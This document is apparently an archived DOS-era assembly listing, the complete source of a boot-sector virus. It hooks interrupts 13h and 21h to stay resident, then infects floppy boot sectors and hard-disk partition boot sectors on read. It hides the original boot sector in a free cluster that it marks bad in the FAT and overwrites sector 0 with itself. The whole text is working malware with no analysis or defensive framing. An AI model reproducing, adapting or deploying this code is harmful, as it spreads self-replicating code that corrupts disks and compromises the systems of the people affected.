home *** CD-ROM | disk | FTP | other *** search
- .radix 16
- start:
- jmp begin
-
- db 'IBM 3.3'
- dw 200
- db 2
- dw 1
- db 2
- dw 70
- dw 2D0
- db 0FDh
- dw 2
- dw 9
- dw 2
- dw 0
-
- work dd ?
- count db ?
- drive db ?
- Fat_sec dw ?
- old_boot dw 666d
- flag db ?
- sys_sec dw ?
-
- ;Simulate PUSHA
-
- pusha:
- pop word ptr cs:[sys_sec-start]
- pushf
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push bp
- push ds
- push es
- jmp word ptr cs:[sys_sec-start]
-
- ;Simulate POPA
-
- popa:
- pop word ptr cs:[sys_sec-start]
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- jmp word ptr cs:[sys_sec-start]
-
- ;This procedure Reads/Writes the absolute sector in BX
- ;ES:BP must point I/O buffer
-
- write:
- mov ah,3
- jmp short do_it
- read:
- mov ah,2
- do_it:
- mov al,1
- xchg ax,bx
- add ax,[001C] ;Hidden sectors
- xor dx,dx
- div word ptr [0018]
- inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0)
- mov ch,dl ;dl is the first sector
- xor dx,dx
- div word ptr [001A] ;Cylinder in AX
- mov cl,6 ;Set CX if cylinder is bigger than 512
- shl ah,cl
- or ah,ch
- xchg ax,cx
- xchg ch,cl
- xchg dh,dl
- xchg ax,bx
-
- abs_read:
- xchg bx,bp
- mov dl,byte ptr [drive-start] ;dl is the drive
- pushf
- db 9A
- orig dd ?
- jnc ok_func
- pop ax
- ok_func:
- ret
-
-
- begin:
- xor ax,ax ;Virus begining
- mov bp,7C00
- mov ds,ax ;Clear ds&ss
- mov ss,ax
- mov sp,bp ;Set SP bellow virus
- xchg ax,di
- mov si,bp
- mov ax,2000 ;Copy virus somewhere in memory
- mov es,ax
- mov cx,0100
- rep movsw
- push es
- mov ax,offset here-start
- push ax
- retf ;go there
-
-
- here:
- mov ax,1234
- cmp [80*4],ax
- mov [80*4],ax
- je skip_this
- les bx,[1C*4] ;Get old int 1Ch value
- mov cs:[work-start],bx
- mov cs:[work-start+2],es
- mov [1C*4],offset entry_1C-start ;Set new value
- mov [1C*4+2],cs
-
- skip_this:
-
- les bx,[13*4] ;Save original int 13h
- mov cs:[orig-start],bx
- mov cs:[orig-start+2],es
- push cs ;DS=ES=CS
- push cs
- pop ds
- pop es
- again:
- mov ax,offset again-start
- push ax
- xor ah,ah ;Initialize Floppy
- mov byte ptr [flag-start],ah
- int 13
- and byte ptr [drive-start],80 ;Drive A: or C:
- mov bx,word ptr [old_boot-start] ;Read second part
- mov bp,offset second-start
- call read
- mov bx,word ptr [old_boot-start]
- inc bx
- xor ax,ax
- mov es,ax
- mov bp,7C00
- call read ;Read old Boot
- db 0EA,00,7C,00,00 ;JMP 0000:7C00
-
- entry_1C:
- push si
- push ds
-
- xor si,si
- mov ds,si
- cmp [si+21*4],si
- je not_yet
-
- push bx
- push es
-
- les bx,cs:[si+work-start]
- mov [si+1C*4],bx
- mov [si+1C*4+2],es
- les bx,[si+21*4]
- mov word ptr cs:[si+jmp_21-start],bx
- mov word ptr cs:[si+jmp_21-start+2],es
- mov [si+21*4],offset go_on-start
- mov [si+21*4+2],cs
-
- pop es
- pop bx
-
- not_yet:
- pop ds
- pop si
- iret
-
- go_on:
- call pusha
- cmp ax,4B00
- je install
- return:
- call popa
-
- db 0EA
- jmp_21 dd ?
-
- install:
-
- mov ah,52
- int 21
- xor si,si
- xor di,di
- mov ds,es:[bx-02]
- mov bx,ds
- mov ax,[si+3]
- add [si+3],96
- inc bx
- add ax,bx
- mov es,ax
- push es
- mov ax,es:[si+3]
- sub ax,96
- push ax
- mov ax,[si+3]
- add ax,bx
- mov ds,ax
- mov byte ptr [si],'Z'
- mov [si+1],si
- pop [si+3]
- pop es
- push cs
- pop ds
- mov cx,0200
- rep movsw
- mov ax,word ptr [jmp_21-start]
- mov bx,word ptr [jmp_21-start+2]
- mov ds,cx
- mov [21*4],ax
- mov [21*4+2],bx
- mov ax,[13*4]
- mov bx,[13*4+2]
- mov es:[my-start],ax
- mov es:[my-start+2],bx
- mov [13*4],offset real-start
- mov [13*4+2],es
- jmp short return
-
-
- real:
- call pusha
- cmp ah,02
- jne exit
- cmp dl,81
- ja exit
- mov byte ptr cs:[drive-start],dl
- check:
- xor ax,ax
- mov ds,ax
- mov byte ptr cs:[flag-start],al
- mov al,byte ptr [043F]
- push dx
- test dl,80
- jz ok_drive
- sub dl,7F
- shl dx,1
- shl dx,1
- dec dx
- ok_drive:
- inc dx
- test al,dl
- pop dx
- jnz exit
- push cs
- push cs
- pop es
- pop ds
- call infect
- exit:
- call popa
- call_cur:
- db 0EA
- my dd ?
-
- ident dw 01234
- dw 0AA55
-
- second label word
-
- db '666'
-
- infect:
- push dx
- xor ah,ah
- int 1A
- test dl,01
- pop dx
- jz bad
- mov ax,0201
- mov dh,0
- mov cx,0001
- mov bp,offset buffer-start
- call abs_read
- test dl,80
- jz usual
- mov bx,offset buffer-start+01BE
- mov cx,0004
- search:
- cmp byte ptr [bx+4],1
- je okay
- cmp byte ptr [bx+4],4
- je okay
- add bx,10
- loop search
- ret
-
- okay:
- mov dx,[bx]
- mov cx,[bx+2]
- mov ax,0201
- mov bp,offset buffer-start
- call abs_read
- usual:
- mov si,offset buffer-start+3
- mov di,0003
- mov cx,1Bh
- rep movsb
- cmp [buffer-start+01FC],1234 ;Infected ?
- jne well
- bad:
- ret
-
- well:
- cmp [0Bh],200 ;Bytes in sector
- jne bad
- cmp byte ptr [0Dh],2 ;Sectors in 1 cluster
- jb bad
- mov cx,[0E] ;Reserved dectors
- mov al,[10] ;Copies of FAT
- cbw
- mul word ptr [16] ;FAT in sectors
- add cx,ax
- mov ax,20 ;32 bytes
- mul word ptr [11] ;Elements in the catalogue
- mov bx,1FF
- add ax,bx
- inc bx
- div bx
- add cx,ax
- mov word ptr [sys_sec-start],cx ;system sectors
- mov ax,[0013] ;Sectors on the disk
- sub ax,cx
- mov bl,[0Dh] ;Sectors in cluster
- xor dx,dx
- xor bh,bh
- div bx
- inc ax ;AX=clusters on disk
- mov di,ax
- and byte ptr [flag-start],0FE
- cmp ax,0FF0
- jbe small
- or byte ptr [flag-start],1
- small:
- mov si,1
- mov bx,[0E] ;Where to read FAT from
- dec bx
- mov [Fat_sec-start],bx
- mov byte ptr [count-start],0FE
-
- look_here:
-
- inc word ptr [Fat_sec-start] ;Next sector in FAT
- mov bx,[Fat_sec-start]
- add byte ptr [count-start],2 ;Adjust for new offset
- mov bp,offset buffer-start ;BP points buffer
- call read ;Read FAT's sector
- jmp short where
-
- look:
- mov ax,3 ;Multiply by 1.5 rounded down to integer number
- test byte ptr [flag-start],1
- je go_1
- inc ax ;For 16 bit FAT
- go_1:
- mul si
- shr ax,1
- sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes
- mov bx,ax
- cmp bx,1FF ;If reached the end then load next FAT sector
- jnb look_here
- mov dx,[bx+buffer-start] ;Information for this cluster
- test byte ptr [flag-start],01
- jne go_2
- test si,1
- je go_3
- mov cl,4
- shr dx,cl
- go_3:
- and dh,0F
- go_2:
- or dx,dx ;Free cluster ?
- jz found
- where:
- inc si
- cmp si,di
- jbe look
- ret
-
- found:
- mov dx,0FFF7 ;Prepare for marking it as bad
- test byte ptr [flag-start],1
- jnz go_4
- and dh,0F
- test si,1
- je go_4
- mov cl,4
- shl dx,cl
- go_4:
- or [bx+buffer-start],dx ;Set it in FAT
- mov bx,[Fat_sec-start]
- mov bp,offset buffer-start
- call write ;Update 1'st FAT copy
- mov ax,si ;Convert cluster address in si to sector number
- sub ax,2
- mov bl,byte ptr [0Dh]
- xor bh,bh
- mul bx
- add ax,[sys_sec-start]
- mov si,ax ;Si is the sector that is free
- xor bx,bx
- mov bp,offset buffer-start
- call read ;Read old BOOTSECTOR
- mov bx,si ;Put it in a quiet place
- inc bx
- mov bp,offset buffer-start
- call write ;Do that
- mov bx,si
- mov [old_boot-start],si
- mov bp,offset second-start
- call write
- xor bx,bx
- xor bp,bp
- call write
- ret
-
- this_ db 1024d-(this_-start) dup (0F6h)
-
- buffer label word
-
-